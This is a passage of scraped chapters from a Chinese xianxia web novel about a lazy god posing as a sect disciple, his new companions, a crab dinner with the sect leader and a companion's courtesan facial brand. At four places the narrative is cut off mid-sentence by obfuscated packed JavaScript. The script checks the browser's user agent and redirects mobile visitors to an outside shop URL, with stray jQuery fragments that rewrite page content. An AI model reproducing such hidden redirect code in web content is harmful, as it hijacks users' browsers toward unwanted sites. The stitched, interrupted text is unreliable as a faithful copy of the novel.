姜庆临只字未提荒漠里那个神相的事情,而是问道:“水下的阵法,你怎么破坏的?” 跃沉一愣,反问他:“那阵法是你设置的?” 姜庆临下意识回答:“不是……” 他正色:“我在问你。” “哦……其实也没干什么,就是拔剑,然后把那只鬼尸杀了。” 姜庆临有点怀疑:“你能拔出剑阵里的剑?”你怎么能拔出剑? 跃沉觉得他问的奇怪,但是他反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三人一同出门,正是云蒸霞蔚,山峦绕金云,一片壮观。 “等回去没过多长时间又要回来,一来一回折腾了多长时间……”冲华还没休息好,懒得走路,不禁抱怨。 跃沉一手拉着一个人,绕到一边,用一句无声“缩地千里”,空间扭曲转换,他们那片茅草屋立刻在眼前了。 “这样省不省力气?”跃沉笑着问冲华。 冲华吓了一跳:“你你你……” 不过感激冲过了惊恐,冲华高高兴兴道谢,连带着渊令也跟着道谢。 渊令:我能走动路我谢什么。 吴昼锦蹲在一间屋子门口,通过动作来看已经毫无少爷架子了。跃沉想,果然还是经事最磋磨人。 三人走上去,他犹犹豫豫开口:“你们好……别的房间差不多都住满了,要不你们和我一间?” 吴昼锦注意到渊令皱起的眉头,赶紧解释:“现在就剩我一个,我家雇来送我的人都走了。” 其实应该是死的差不多了。 7. 结识之初 三人对视,跟着他进了屋。 别的屋子人员的分布很有意思。独行侠虽然都不喜欢和人同住,但是和水平相似的其他独行者同住,要比忍受少爷脾气强得多。世家公子们也自视清高瞧不起独行修士,两边泾渭分明。 像跃沉他们共同在鬼门关走过一趟就结伴的组合,反而显得格格不入。 一间屋四个房间,四人各自安顿好,聚在中间堂屋。 吴昼锦和冲华有点尴尬,因为吴昼锦早上刚和跃沉起了冲突,冲华也是刚被渊令绑过当人质。 跃沉饶有兴趣踱步四处打量,渊令可能回房后摘过面具,现在还是严严实实地戴着。 一个没兴趣说话的,一个压根不露脸的。 还谈吗? 冲华也找不到话说,只好用手肘偷偷碰吴昼锦。 然后很小声很小声地:“要不咱俩先认识一下?” 跃沉听到动静哭笑不得,扯着一把凳子坐在桌边。 “我俩是鬼神罗刹吗?这么吓人的?” 据冲华观察,跃沉说完这句话,渊令的眼角好像上抬了一点点。 还是渊令硬生生打破沉寂:“抱歉,当时情况紧急。” 这句话没有明显的指向,冲华也反应了好一会儿才意识到是对自己说的。 他愣了一下:“没事。” 这句话落下去,渊令也不知道说什么好了,干巴巴地问: “你喉咙那里……没事吧?” 冲华下意识摸上脖子,两个时辰前还有一条血线,是被渊令的刀划开的,现在已经愈合了。 他摇头:“我叔叔用药了,真的没事。” 跃沉很好奇:“你叔叔是鼎元宗的长老?那你怎么还来参加考核?” 屋里静了几秒,渊令沉默,吴昼锦张口结舌,没想到跃沉就这么把痛点捅破了。 跃沉意识到气氛的凝固——对人类来说这样的说法好像不太好听,刚想改口,冲华就开口了。 “其实不参加也行。我叔叔本来就不想让我参加来着,打算直接安排我在身边打杂。”冲华说着说着站了起来,“但是我觉得……我觉得这样不好。而且,他觉得我功法学的也不好,参加考核也过不了。” “参加考核是我自己偷偷决定的。我想,无论用什么办法,我都能和别人一样到这里来。” 渊令倒有点惊讶了,深黑色的眼眸深邃,藏在面具中,上下扫过冲华。 他轻微颤抖着,但是手握拳头撑在桌子上,眼睛是亮的。 和别人站在同一个起点上,对他来说好像是很重要的事情。 於破岩突然想起自己忘了找渊令问话,匆匆追出去,山路上自然连个人影都没有。 正当他疑惑时,术星孤背着手走来。 “等什么呢?”她悠哉游哉道,“他们仨其中有那位在,怕不是早就瞬移回去了。有术法能用谁用腿的?” 於破岩:“……”肯定不是渊令的主意,只能是那个跃沉。 只有他这么懒。 吴昼锦给三人介绍自己家乡,还拍着胸脯保证去了当地报他名字准管用。 “跃沉……世兄,我看你功法好厉害!敢问祖籍何处?” 跃沉觉得这个问题很难回答。昆仑山上住的都是神明,没有人类。他只好现编一个离那里很近的地方凑数:“昆仑城。” “你真从昆仑城来?”冲华的眼睛唰一下就亮了,兴奋地问跃沉,“那里是不是有很多朝圣神庙的修士啊?有什么效果吗?神真的灵验?” 一连串问题没有一个是跃沉能答的上来的。 他只知道来朝圣拜神的人不少,谁知道那些主神到底管不管那些祈愿啊?! 昆仑山凡修化成人的,不论神妖,都能设立庙宇。出昆仑城再往西走九百里,就是神脉的起始点,道路两边建着神庙。 越往山上走,神庙越密集,是很多小神明的庙宇,随后又稀疏,是那些重权在握的主神的大庙宇。 建木也曾经替他设置过神庙,还特意告诉过他在哪里,让他去认一认。跃沉也懒得去,一直拖着。 退一万步说真有人注意到他的神庙,许过愿发过誓,请求让他帮忙做什么,他也一点都不知道,当然也就不灵验。 其实接到了祈愿,也很少会有兢兢业业的小神明去管。信徒众多的大神祇自然香火旺盛,这样的神明在昆仑山也有众多属神,直接交给属神处理祈愿就好。 前一阵子王母娘娘广招属神——其实就是挂名在西王母神庙,对那些毫无香火的小妖小神来说,还能蹭点香火。 没有香火对于小神小妖来说是很严重的,和香火旺盛的神明相比,自身的法力会很羸弱。 建木所辖的领域也有名额,等跃沉看到报名的时候早就招完人了,于是顺理成章继续躺平。 其实这么看,即使有人拜了跃沉的神相,也借不到多少力量。更何况跃沉自己的法力都不太强。 据此…… 跃沉很无奈。 “来朝圣的确实很多。香火越旺盛的神明,应该越灵验吧……我没去拜过,不太清楚啊。” “住的离神脉近,练功是不是也更见效啊?”吴昼锦好奇道,“我爸之前想把我往昆仑神脉那边送的,后来我娘嫌那地方乱,死活不同意,就作罢了。” 跃沉哪知道凡人修行有没有效果。 这都什么跟什么。 “感觉没什么特别的。”跃沉努力回忆自己偶尔下凡的零星记忆,“毕竟常住神脉附近的人不多,那里离‘炼炉’也近,更危险。” 吴昼锦放松多了,大着胆子和渊令搭话:“那个……渊令……大侠,你是从哪来啊?你的面具以后也要一直戴着吗?” 渊令的手搭上银色面具的边,指节轻轻用力,犹豫之后还是没有摘掉。但闻言后面具下的脸色仿佛冻上了一层冰霜,语气也冷冷的:“麓城。” 吴昼锦:“?”他都没听过这地方。 冲华同样一脸困惑。 跃沉给两人解释:“麓城比昆仑城更靠近神脉,是朝圣者的最后一站。” 他皱着眉头,觉得有点奇怪。 记忆里的麓城很乱,鱼龙混杂。各路人马都把这里当最后一站,不少小妖下山的第一站也是麓城。 神、妖、人、鬼四界混杂,各自划分地盘,势力杂乱,人口流动极其频繁。 跃沉一直以为那是个流动驻扎点的,没想到真有人长住在麓城。 除此之外,渊令也不愿意多说。远处朝暮殿鼓声正好敲了第一响,余韵悠长,聊天遂就此作罢。 “那我们这就算认识了。”冲华笑道,“算不算?” 跃沉也笑:“算啊。” 暮鼓不是十二声连续敲完的,中间间隔很长,足够他们慢慢过去。 四人走出门,众人也才刚出来,於破岩已经在群舍空地处等待了。 人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245020|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越聚越多。 不知道是计划好的,还是冲动行事,一个青年见聚起来的人越来越多,走上前质问:“那些人真就这么死了吗?鼎元宗不过区区入门考核,如此大动干戈,死伤惨重,你们怎么负责?” 这可不是冲华那样孩子气的“玩笑话”了,不少人附和他,声浪很高。大概都是亲属队友折损其中,心怀不满,又不敢出头,只好躲在人群中从众。 於破岩冷脸面对,一言不发。 “那以后呢?‘炼炉’打开,百鬼夜行,死的人岂不是更多?你们也要抱怨逃避吗?” 渊令抬高声音:“享受宗门的庇护,还要抱怨死的人太多?同行的人没本事,那有什么办法?” 那几个吵吵嚷嚷的人循声望去,发现自己惹不起这位,识时务地钳口不言。 於破岩的目光停驻在渊令身上,投以一个欣赏的眼神。 “不想加入的现在立刻就可以离开。”於破岩不作解释,一双锐利的眼睛穿过人群狠狠钉住那个率先问话挑衅的人,“你现在就可以走。” 青年的气势萎靡下去。结伴和他一同参加考核的弟兄折损惨重,他和仅剩的另外一人对视,没胆子在长老面前挑事,讪讪缩回人群。 “走吧。”於破岩吩咐。 人群慢慢移动,他却端立不动,一直等到走在最后的跃沉一行人靠近了,才拔腿跟上,伸手搭上渊令的肩膀。 “两个月之后第一批内门考核,有兴趣来我们截云巅吗?”他向远处一指,两座相连的山脉透露明晃晃的灯火,“鼎元宗的武学派,由我和另一位师傅坐镇。我看你刀使得不错,从前有人教导吗?” “没有,自己瞎摸索的。”渊令低头。 於破岩满意地点头。 他注意到渊令很久了。双刀本来用法玄奇,刀法凌厉却看不见套路的痕迹,要么是集大成者,要么是无人指导,出自天成。 没有拜过师,能练成如此姿态,属实难得,而且还是个勤奋的,不比那些耍小聪明的人,以后只会堕落。 想到这,於破岩横了跃沉一眼。 跃沉:“?” 姜庆临站在博古架前,那只铁花蝴蝶被他从花圃放了出来,被关得老实多了,安静停在他肩头,翅膀轻轻翕张。 “想什么呢?”术星孤悄没声走过来,靠在博古架上。 姜庆临伸手让铁花蝴蝶停上手指。 “没什么。” “新弟子入宗门,你不去转一圈意思意思?”术星孤说。 姜庆临只觉得莫名其妙的烦躁:“不去。” “对了……”他犹豫着停住了。 术星孤很自然:“怎么?” “没什么。”姜庆临不经意道,“刚才你和他说什么了?” 她有点没反应过来:“谁啊?我说什么了?” 术星孤半晌才反应过来,神色意味深长,拖长语调,意有所指:“哦——你说他。” “我们姜大宗主什么时候对新人这么感兴趣了?” 姜庆临闻言,挥手赶走蝴蝶,说:“还不是你和曳白在我这乱说一通。” 术星孤笑意盈盈:“真没说什么,只是我找到了知音而已。” 姜庆临眉尖紧蹙:“知音?” “都修行到这个份上了,谁还睡觉呢?没想到真还有,他晚上也睡觉。”术星孤一本正经道,“你就说算不算知音?” 姜庆临:“……算。” 8. 留下吃饭 “昔者,圣人因阴阳以统天地。夫有形者生於无形,则天地安从生?故曰:有太易,有太初,有太始,有太素……”{1} 第一次早功,於破岩在殿前主讲经文,抑扬顿挫,背手踱步。朝暮殿坐满了新弟子,全都翘首听讲。 跃沉猫着腰从殿后溜进来,小心翼翼不敢发出声音,溜到最后一排仅剩的空位坐下。 渊令坐在倒数第二排,被他这鬼鬼祟祟的样子吓了一跳,张嘴想说话,最终只用口型比道:“你怎么才来?” 跃沉摇头:“睡过头了。” 渊令很是惊恐:“才第一天?你就……” “诶?后面的,迟到了就别这么心安理得坐下了!” 於破岩放下手里的经卷,看向最后方,提醒他。 满殿的人都回头看,跃沉饶是从前在昆仑山惯会迟到早退逃功,此时也生出一点尴尬。 跃沉站直了。 “头一天早课就迟到?!”於破岩冷冷拂袖。 冲华和吴昼锦在角落里闷声不言,两脸同情。 “头一天早课就迟到,跃沉,你这外门弟子不想当了吗?”於破岩很严肃,板着脸。 “我也不问你会不会了,反正你肯定不会。今天讲的经书,在石板上刻一遍,明天背给我听。” 说完挥手让他坐下。 无聊的念经声再次填满朝暮殿,但是跃沉没坐下,突兀的声音打断了於破岩。 “我没说我不会背啊。” 底下传来低声哄笑。 於破岩扔下书,压着怒气:“那你就背我讲的这一段,差了一字刻一遍石板,别说我不留情面。” 跃沉微笑着开口:“昔者,圣人因阴阳以统天地。夫有形者生於无形,则天地安从生?故曰:有太易,有太初,有太始,有太素。太易者,未见气也;太初者,气之始也;太始者,形之始也;太素者,质之始也……”{2} 他抬头,保持着礼貌的微笑:“於长老,还背吗?” 於破岩脸色阴晴不定。 “还背啊?”跃沉故意装没看见,“气形质具而未相离,故曰浑沦。浑渝者,言万物相浑沦而未相离也。视之不见,听之不闻,循之不得,故曰易也……於长老,还背吗?”{3} 哄笑声又起。 “停停停!”於破岩打断他,眼刀扫过众人,“你坐下吧,下早功别走。” 这次是渊令、冲华和吴昼锦三脸同情了。 好在是早功时间不长,被跃沉这么一打岔,感觉钟声响的更快了。 众人松一口气,纷纷收拾东西撤离。冲华还想帮忙求情,也在跃沉的眼色示意下被渊令拉走了。 “於长老。”跃沉乖乖站过去,一副听凭发落的样子。 於破岩看着他这副样子,太阳穴突突直跳。 “得了,你不必留了,回去吧。”他憋着一口气。 “多谢於长老体谅。”跃沉眼角弯弯一笑,溜之大吉。 “……宗主您瞧瞧,这样无法无天!”於破岩下早功特意到姜庆临住的藏琢峰,口干舌燥,捶胸顿足,极力控诉,“第一天早功就敢迟到!” 以前从来没人迟到,鼎元宗连对应的规矩都没有——都没人睡觉,怎么能迟到呢? 姜庆临听他告状也很头疼。而且他有预感,以后听到关于跃沉的告状绝对不会少。 他捏了捏眉心:“你罚他就是了。” 於破岩:“可是他还真会背。” 不是,那你来找我告状有什么用吗? 姜庆临真的很不想管,觉得自己听了曳白和术星孤那两句捕风捉影的话就把这个麻烦精招进来完全是个错误决定。 四人结伴回宿舍,冲华眼睛亮晶晶的:“跃沉,你真的都背下来了?” 跃沉摇头:“怎么可能。” 然后小声地:“其实只是用了一点小术法。” 冲华没听清:“什么?” “没什么。” 跃沉一边说一边赶紧将渊令后背上的墨字用术法除掉。 咒诀“偷天换日”,本来可以隔空调换物品。但是跃沉控制力极其精准,把於破岩手里那本经书的墨迹移到了渊令的后背上。 “来了坐下就好。” 姜庆临专注于雕刻手中的玉匕首,刻刀附着咒诀,闪闪发亮。 同类尚未开智就遭此“毒手”,看得跃沉直皱眉头。 跃沉忐忑坐在姜庆临对面,觉得自己要完蛋了。 早知道就早点起床了。 哦,不对,早知道就不用那只蝴蝶报仇了。 姜庆临迟迟不说话,跃沉恨不得钻到地缝里,只求让自己的存在感小一点,再小一点。 “别白坐着。”姜庆临瞥了他好几眼,终于忍不住了,“藏琢峰是灵力充沛之地,练功吧。” 跃沉松了一口气。万幸万幸,宗主没说要把他开除出宗门。 他连话都不敢说,马上开始练功。 功法运转得有点生疏,跃沉分神想着,上次练功是什么时候来着?还是在昆仑山上吧。 “别分心。”姜庆临的声音响起。 跃沉被吓了一跳,也不敢问他是怎么知道的。 灵力运转周身,和常人无异,硬要说和普通修士的差距,只能是他运转得顺畅极了、快极了。 姜庆临皱眉,望向一旁特意设置的鉴心镜,疑心它是不是坏了。 跃沉运转起灵力后,思维居然无法被窥探了。 姜庆临断开窥探跃沉的思维连接,随便连了殿外的某个人。 还是有声音的。 好消息,鉴心镜没坏;坏消息,他对这东西好像免疫。 姜庆临有点不可置信。全宗门的长老都屏蔽不了鉴心镜的窥探,他以为这是毫无破绽的法器的。 他再次借着跃沉闭眼运转功法的机会,仔仔细细盯着这个少年。 看上去真的只是个少年人啊,姜庆临的视线从他的脖颈一路上移,经过薄唇,鼻梁,眉骨,额头。 下午的阳光很好,从侧面的窗格流泄而下,照在跃沉身上,笼罩起淡淡的光晕,在清透高挺的鼻梁骨下投射出阴影。 除了这张皮相确实绝妙……之外,姜庆临光凭观察找不到缘由来解释他为什么能屏蔽鉴心镜窥探。 跃沉突然睁开眼睛,姜庆临浓厚的探究眼神还没来得及收回去。 眼神又撞上了。 姜庆临低头雕刻匕首,装作什么都没发生。 “哎呀,姜长老还没吃晚膳啊。”曳白招呼都不打就蹦进来了,眼神溜过一圈,看着跃沉笑得慈眉善目,“巧了,我这里弄来一篓螃蟹,叫人蒸了好不好?正好你这里还留人在呢……” 姜庆临眉心一蹙:“不吃,拿走。” 跃沉运转完一遍功法,趁机瞟了曳白一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245021|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,曳白很促狭地朝他挤眼。 “宗主大人有吩咐吗?”跃沉站起来,“没有吩咐的话弟子要吃晚膳去了。” 吃什么吃! 姜庆临又是一阵头疼。让这家伙在眼前坐了一下午,什么异常都没看出来。 “走走走,快去吧。”姜庆临挥手催他。 曳白晃晃手里的竹篓:“你真不要?” 跃沉起身走两步,回头用很小很小的声音问曳白:“长老送的什么?” 曳白打开竹篓,笑着回:“螃蟹,我刚在城里集市上贱价买了不少,正是肥美,蒸熟了下酒正好。真是的,我忘了宗主日日念诵辟谷咒诀……” 跃沉用气声道:“姜长老不吃真是可惜……” 姜庆临:“……” “把你的螃蟹送到藏琢峰厨舍去,然后可以走了。”姜庆临放下刻刀,按着眉心道,“想吃螃蟹那个,留下。” 曳白一副得逞了的表情,一个劲儿给跃沉使眼色。 跃沉抿唇笑:“多谢宗主厚爱款待。” 螃蟹不多时就搬上了桌子。跃沉兴致勃勃把姜丝浸入醋碟,桂花醋的酸香冲人。 姜庆临一直用着辟谷咒诀和功法,闻了这味道居然也有点想吃东西。他垂眸扫过桌案上深红诱人的蟹壳,也给自己倒了醋。 破例就破例吧。 就这一回,再也没有下回了。 蒸好的一盘子熟红蟹上桌,跃沉小心翼翼看了姜庆临一眼,见他没有反应,又小心翼翼拎起一只螃蟹。 姜庆临一挑眉,跃沉灵机一动,动作一个拐弯,把螃蟹放进了姜庆临的盘子。两人虽然分案而食,但是面对面又离得很近。 跃沉心中腹诽,这还不如让他俩干脆就坐一张桌子呢。 姜庆临盯着这只半路“出家”的螃蟹,也不看跃沉,揶揄道:“不用搞这一套。” 反正也是你要吃。 跃沉这才放心上手剥螃蟹。出手急了,他忘记给自己用咒诀,被烫得“嘶”了一声松开手,螃蟹掉在桌上,差点磕掉腿。 姜庆临瞟了他一眼,送他一句降温咒诀。 “吃螃蟹不烫就不好吃了……”跃沉小声嘀咕。 “事真多。”姜庆临冷哼。 跃沉开始剥蟹腿。他以前确实没吃过,仅仅是听闻罢了,桌子上的蟹八件也不知道怎么用。 姜庆临一脸嫌弃地看着跃沉用蛮力卸下了螃蟹的八条腿,然后又用蛮力拆开了每一处关节。白色的螃蟹壳碎屑飞溅,崩到了姜庆临的桌案上。 跃沉的眸子跟随着这块蟹壳,向上又向下,也落在了他的桌子上。抬头看见姜庆临铁青的脸色,讨巧一笑。 姜庆临的目光扫过跃沉已有一道红痕的指腹,心软了一点,拎起一只螃蟹三下五除二剥开,将蟹黄和蟹肉剜到蟹盖里,顿了一下,浇上姜醋递给他。 跃沉接过蟹壳,受宠若惊:“多谢宗主大人。” 姜庆临被“宗主大人”刺了一下,板着脸:“以后别这么叫。” 跃沉再次讨巧一笑:“好的,宗……姜长老。” 两个人就这么诡异地吃完了一顿螃蟹。姜庆临最开始的想法是不吃,后来给跃沉帮忙都上手了,就手也吃了一点。 曳白送来的螃蟹确实个大新鲜,姜庆临最后的想法就成了少吃几只。 于是俩人一起吃了一篓子螃蟹,最后一只都是掰两半分掉的。 9. 推销香火 跃沉觉得把自己放在床和被子中间,闭上眼睛呆上几个小时,简直就是最最舒服的一件事。 温暖的被褥、窗外的鸟鸣、清新的空气…… 哦,还有讨厌的早功。 想到昨天临走时姜庆临说再迟到就刻石板,再抱着石板练功,跃沉一下就清醒了。 跃沉吸取教训,深刻反思,决心再也不迟到了。于是艰难挣扎逃脱床的绑架,迷迷糊糊推开自己房间的门走进厅堂。 屋里只有冲华。他看见跃沉刚醒,还有点奇怪。 “你没去芸台复习吗?” 跃沉被这句话吓得完全醒了:“复习?复什么习?” 冲华很想问问他昨天晚功的时候有没有认真听於破岩讲话。但是想起昨晚他听到一半就倒在渊令身上睡了过去的“丰功伟绩”…… “於长老说两个月之后进行第一批内门资格考核,不合格的要继续呆在外门。” “哦,行,知道了。”跃沉心不在焉。 反正到哪都是躺平,躺在外门更好了,省的天天被督促。 冲华眼睛一转就知道这位好友在想什么,叹了口气。 “一共就三次考核机会,不合格就直接清退了。” 跃沉撇嘴:“都录取我了怎么还不信任我呢……” 冲华看着他睡得寝衣都皱皱巴巴的,药理书自打下课之后就再也没翻开过,心想,你这个样子真的很难让人信任啊!! 看见好友的脸色灰暗,冲华觉得也应该鼓励一下:“今天你起的好早,正好和我们三个一起复习吧。” 跃沉正穿外袍,闻言一顿:“啊?不上早功?” 冲华看他茫然的样子,默了两秒,可以肯定跃沉昨晚睡过去的实际时长比他们知道的要长多了。 “於长老昨晚说过了,咱们上四休三。今天、明天和后天,都没有早功晚功。” 跃沉:“!”你不早说。要不然我不起这么早了。 冲华无奈地盯着要把外袍脱了挂回去的跃沉:“你不会要接着睡吧?” “回笼觉而已,回笼觉……”跃沉心虚地嘀咕。 “别睡了啊!求你了祖宗,快点复习吧!”冲华及时拉住他,恨铁不成钢地眯起眼睛,“别人都学一晚上了。” 等等,咱们不是刚进宗门一周多吗?学了很多东西吗? 跃沉很不情愿:“你们复习你们的呗……”其实并不是很在乎呢。 都搞这么勤奋干什么,显得他很懒惰。 离开了昆仑山,跃沉仍然懒的出奇、懒的格格不入。 三说四说,冲华好歹把跃沉拉过来了。 芸台是鼎元宗的藏书之处,设有桌案,窗明几净,很适合……自修。 跃沉在外面就看见了座无虚席的芸台一楼,脚步慢下来——真不想进去啊。 看管芸台的是个老头,坐在前院的藤编摇椅上,一把破剑靠在椅子上。他则悠哉游哉,一边喝茶一边看书。 见两人走近,魏逢春主动招呼冲华:“喝茶吗?” 还没等冲华拒绝,他就热情地开始倒茶叶:“好茶,喝点吧,给你送楼上去。” “谢过魏长老。”冲华不好意思地一笑,跃沉也跟着一起点头。 “什么长老,早就说过了别叫长老。”魏逢春摆摆手,“我就是个看书管书的糟老头子。” 茶倒好了,身边那把破剑居然自动漂浮起来,稳稳立在他旁边充当托盘。魏逢春把茶壶注了热水,看都不看就放在剑身上。 魏逢春提示:“你俩的书也可以放剑上。” 冲华和跃沉解下书袋挂在剑柄上,那把剑就乖乖飞高,飘向二楼。 跃沉觉得那把剑的形制有点眼熟。但还没来得及看个仔细,冲华就拉着他上楼了。 四人在芸台复习药理学的功课。这门课是冲矜长老讲授,冲华在自己叔叔的耳提面命之下当然背的滚瓜烂熟。吴昼锦打架不行,背东西倒还算快。渊令不喜死记硬背,紧皱眉头默默用口型嘀咕着。 只有跃沉一边发呆望向窗外,一边苦着脸记背。 “最讨厌背诵了。”他小声嘀咕。 姜庆临开着鉴心镜,被跃沉长达一个时辰针对药理学的默背和吐槽打扰得很烦——其中吐槽占比还多些。 他扔下锉刀,盯着手里不成形的材料,难得生出一分浮躁——都连累他的工作进度了。 正要关掉鉴心镜时,却又听到了一句吐槽。 “幸好认识不少书上这些药草的本尊神……不然真的死定了,这都什么跟什么……” “鼎元宗这么大一个宗门,公厨的菜式怎么这么少,还这么难吃……前几天在姜长老那里吃的真好啊。” 姜庆临豁然一惊。 认识“神”?还认识不少? 多大程度的认识啊?拜过神,请过神力,还是和神对话过? 三百年一次“炼炉”打开,百鬼夜行,名义上神是不能参与的。但要是和神“认识”,那还真说不准。能帮一把是一把,借一点神力还是合理的。 姜庆临开始好奇。不过鉴心镜没有再听到什么有意义的东西,全是跃沉对公厨膳食的不满和别人为什么这么勤奋的吐槽。 早知如此。 他思前想后,叫来侍从,耳语几句。 “啊?宗主又传唤我?” 跃沉苦着脸:“能不能不去?” 侍从一副“别为难我”的样子,摇头。 跃沉自打第一天来鼎元宗就出名:宗主单独召见、早功迟到毫发无损、别人都不睡觉就他睡觉…… 他这么一起身,背后跟了一大片偷偷从书后瞥来的目光。 渊令把书合上,也站起来。 冲华的眼神跟着他:“你去哪?” 渊令语气平淡:“约了人去练功场比武。” 冲华本来还想找个借口跟着一起去,听到“练功场”三个字,“敦”地一声坐回去。 “那你注意安全。” 渊令随意“嗯”了一声,拔腿就走。 姜庆临不希望自己显得像个套话的,特意让厨舍备下糕点,故作松弛,捧着书端坐等人。 糕点刚出锅,热气熏人,甜香味充斥鼻端。 “姜长老。”跃沉不动声色,“长老传唤弟子所为何事?” “也没什么事。”姜庆临慢慢放了书,瞥了他一眼,给自己想好了绝佳借口。 “内门考核过后,你要拜入哪位长老门下?”他微微一笑,紧盯着跃沉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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渊令白皙的皮肤敏感,此刻略微透红,从脸颊一路到耳根。 “诶你别不说话啊……”冲华提高声音,“我说真的!” 渊令深黑色的眼眸深处发凉,白皙的长指摸上左侧脸颊的莲花纹。那妖冶的花瓣从脸颊上段延伸到眼侧,似乎是朱砂刻成,鲜红如血。 那是一个人间人尽皆知的标志——凡是打入官妓籍贯的,都要在脸上刺画鲜红莲花,以便分辨。 官妓贱籍处处受管制,很多招工都不收贱籍,何况宗门。 其实这妖异的莲花烙印,不仅是低贱的身份标识,也是防着人逃跑。即便是逃跑了,脸上有这样鲜明的纹样,也容易抓回来。 冲华其实也很惊恐。渊令他……怎么会是官妓? 冲华的声音软下来:“我不会说出去的。” 渊令闭上眼睛又睁开,眼神冷冽:“滚。” 10. 红莲纹面 好看吗? 渊令骤然抬手,狠狠掐上那片皮肤,那朵红莲依旧艳丽盛放,难以去除。他的眉目却是狰狞的痛苦的。 怒目和红莲。若是不知这其中含义,即便他神采黯淡,也是人人都要夸赞的美丽了。 离开麓城之后,他一直牢牢戴着面具,遮挡了很长时间,不想就这样意外露出了此身最见不得人的秘密。 他闭眼平复怒意,不再理会门外冲华的道歉。 “从今以后你们这批新弟子分成两班,便于教习和使用练功室。” 今天是冲矜来讲授药理学早课,云淡风轻宣布了这个消息。 “名单挂在朝暮殿门口,也请各位下早功后自行查看。” 跃沉这次没迟到,陪着冲华很乖巧地坐在第一排。 但是他怎么可能安分听讲,左顾右盼,扫视过盯着书发呆的吴昼锦,就注意到他们中间少了个人。 “渊令人呢?” 冲华听到他的名字,心脏一抽。 他犹豫了一下,觉得这件事当时只有他们俩在场,最好以后也只有他们俩知道。 “不知道啊,来晚了吧。” 冲华其实从渊令踏进殿的时候就记住了他坐在哪,但仍然故作不知,看了一圈才用眼神瞟了最后排墙角的位置一眼。 “好像在最后边。”他还是有点心虚。 但是好在跃沉什么都不知道,也不太会察言观色,听了冲华的话也只是点点头。 早功过的很快,众人纷纷收拾书本离开,跃沉随着人群迷迷瞪瞪站起来,发现冲华早就走了。他的身影一闪,消失在殿门处。 “走这么着急?”跃沉嘀咕。 他和吴昼锦对视一眼。 吴昼锦的直觉告诉他好像不太对。但是看跃沉毫无反应,也默默地收拾东西往外走。 晨雾已经散尽了,众人迎着阳光,三三两两结伴往外走,在廊檐下停驻查看分班名单。 冲华赶到时,渊令刚从布告处走开。 布告上的名单他一个字都没看,一心急着跟上去。 “渊令!你等一下!”冲华鼓起勇气喊出声。 渊令背对着他,猛地刹住脚步。 冲华往前几步,绕到正面拦住了他的去路。 渊令还是戴着面具,低着头,一言不发,脸色很差劲。 真追上了人,冲华提前打好的腹稿却忘了个精光。他抬头看着少年削瘦的身形,努力平复擂鼓般的心跳。 “我……我不是故意的。”冲华张口结舌,“我不会让别人知道……” 渊令突然抬头,沙哑道:“你不想让别人知道的最好办法就是别来找我。” 他语速很快。阳光投射的光影从眉梢一路垂进衣衫,大半脸庞隐匿在阴影里,显得有些阴沉。 说完他拔腿就走,肩膀有些用力地刮过冲华,带起衣袍鼓起袖风,也不知道是不是故意的。 冲华怀里的书被撞掉了一地。 渊令头也不回,扬长而去。 他无措地呆立着,半晌才慢慢蹲下去捡书,再站起来的时候,眼前一阵眩晕。 渊令按了按太阳穴。爬山有点急了,不知是气血翻涌还是怎么,有些头晕。 他第一次来截云巅。山顶处是长老的房舍,空气清新微寒。他在门前静立片刻,深吸一口气,推开了房门。 於破岩端坐桌前。前天他发现手里经书的字迹莫名都消失了,尽管满腹狐疑,却只好换一本。 渊令小心瞥了一眼桌边那本经书,最终没把跃沉的诡计说出口。 “於长老,我想换一个班。”渊令抱拳。 於破岩很喜欢他,但听了这话也怔住了。 “名单是术长老分配的,恐怕是改动不得了。”他歉意道。 “怎么突然想着换班?班里是有什么人……” 话说到这里,渊令仍然杜口吞声,於破岩一下就明白了三分。 “怎么?是有人影响你吗?” 他还是不说话。 “你在我这里,大方说,不要紧。”於破岩正色,宽慰他,“反正以后你也是要进截云巅的,改日你过来,我介绍另一位主事长老给你认识。” “冲矜长老的侄子冲华,我们俩……”渊令一咬牙,“我们俩处不来。所以斗胆请您行个方便。” 於破岩紧皱眉头,上半身靠回椅子——这怎么还有冲矜侄子的事?那这就更换不得了。 不过冲矜向来温和有度,他侄子看上去也是个安分平和的,怎么能说处不来呢。 於破岩满心疑虑,答应渊令帮他问问看,转身就去了林钟岭找冲矜。 冲矜正在田埂边教手下弟子辨认和处理草药,满手的泥。冲华陪着打杂,手上裤腿边都是泥点,老老实实杵在一边。 